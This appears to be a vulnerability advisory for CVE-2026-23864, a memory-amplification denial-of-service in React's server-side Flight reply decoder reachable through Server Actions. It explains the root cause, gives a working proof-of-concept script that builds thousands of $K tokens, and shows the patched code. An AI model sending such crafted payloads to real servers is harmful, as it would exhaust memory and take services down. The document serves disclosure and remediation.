RSC reply decoder DoS via $K FormData amplification (CVE-2026-23864)
Summary
Unbounded $K expansions allow FormData amplification during RSC reply decoding
The server-side React Flight reply decoder treats $K<id> tokens as nested FormData and reconstructs them by scanning the backing request form and copying entries into a new FormData. Because the decoder performs a full scan and allocation for every $K occurrence with no global limits, an attacker can embed thousands of $K tokens in a small multipart payload and force the server to allocate tens of MB of heap while decoding. This creates a high-amplification DoS that is remotely reachable via Server Actions in frameworks that call decodeReplyFromBusboy.
Write-up
decodeReply and decodeReplyFromBusboy materialize a response with _formData as the backing store, then parse chunk 0 through initializeModelChunk and reviveModel. Every string value flows into parseModelString, where $K<id> is interpreted as a nested FormData.
The $K handler builds a new FormData and performs a full scan of _formData to copy all matching prefixed entries. There is no validation of the id, no memoization, and no global limits on $K occurrences or copied entries.
As a result, a small multipart payload can include a large array of $K tokens and force repeated scans and allocations (CPU O(M * E), memory O(M * N)), amplifying a sub-megabyte request into tens or hundreds of MB of heap usage. This is remotely reachable via Server Actions in frameworks that call decodeReplyFromBusboy, making it a practical high-amplification DoS.
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Source → Sink
packages/react-server/src/ReactFlightReplyServer.js
Line 1354 · parseModelString ($K case)
packages/react-server/src/ReactFlightReplyServer.js
Line 1364 · FormData reconstruction loop
Attack surface
Any server that decodes untrusted React Flight reply payloads, including frameworks that use Server Actions / Server Functions with multipart bodies (e.g., Next.js).
Preconditions
Attacker can send a crafted multipart request to a Server Action endpoint. No authentication is required if the endpoint is publicly reachable.
Impact
A small (<1 MB) request can force tens to hundreds of MB of allocations while decoding, resulting in memory exhaustion or severe CPU pressure. Repeated requests can crash the server or degrade service availability.
Exploit path
How the issue forms.
parseModelString sees $K<id> and constructs a new FormData, then scans the entire backing request form for keys with the matching prefix.
const formPrefix = response._prefix + obj + '_';
const data = new FormData();
backingFormData.forEach((entry, entryKey) => {
if (entryKey.startsWith(formPrefix)) {
data.append(entryKey.slice(formPrefix.length), entry);
}
});Each $K token triggers a full scan and a new FormData allocation, with no cap on occurrences or copied entries.
return data; // New FormData per $K tokendecodeReplyFromBusboy populates the response by resolving multipart fields, making the $K path reachable from HTTP Server Action requests.
busboyStream.on('field', (name, value) => {
if (pendingFiles > 0) {
queuedFields.push(name, value);
} else {
resolveField(response, name, value);
}
});resolveField appends every incoming field into _formData, enabling an attacker to control the number and size of entries that are copied per $K token.
response._formData.append(key, value);Proof of concept
Reproduction.
Environment
Create a local repro:
mkdir rsc-k-dos-repro
cd rsc-k-dos-repro
npm init -y
npm install [email protected]
Configuration
Save the following as repro.cjs:
const { decodeReply } = require('react-server-dom-webpack/server.node');
const N = 200; // number of x_* fields
const M = 5000; // number of $K expansions
const form = new FormData();
for (let i = 0; i < N; i++) form.append(`x_${i}`, 'A');
const inner = Array.from({ length: M }, () => '"$Kx"').join(',');
form.append('0', `[${inner}]`);
const heap0 = process.memoryUsage().heapUsed;
const start = Date.now();
(async () => {
const root = await decodeReply(form, {}, {});
const ms = Date.now() - start;
const heap1 = process.memoryUsage().heapUsed;
console.log('decoded in', ms, 'ms');
console.log('heap delta MB', ((heap1 - heap0) / (1024*1024)).toFixed(1));
console.log('root len', root.length);
})();
Delivery
Run the PoC:
node --conditions=react-server repro.cjs
Outcome
The decoder allocates thousands of new FormData objects and copies entries on each $K, producing large heap growth from a small input.
Remediation
Guidance.
Consume FormData entries on first $K expansion and prevent re-expansion of the same keys. The fix in React 19.2.4 deletes consumed keys and reconstructs values using getAll with a cloned key list to avoid repeated amplification.
Before
backingFormData.forEach((entry, entryKey) => {
if (entryKey.startsWith(formPrefix)) {
data.append(entryKey.slice(formPrefix.length), entry);
}
});After
const keys = Array.from(backingFormData.keys());
for (let i = 0; i < keys.length; i++) {
const entryKey = keys[i];
if (entryKey.startsWith(formPrefix)) {
const entries = backingFormData.getAll(entryKey);
const newKey = entryKey.slice(formPrefix.length);
for (let j = 0; j < entries.length; j++) {
data.append(newKey, entries[j]);
}
backingFormData.delete(entryKey);
}
}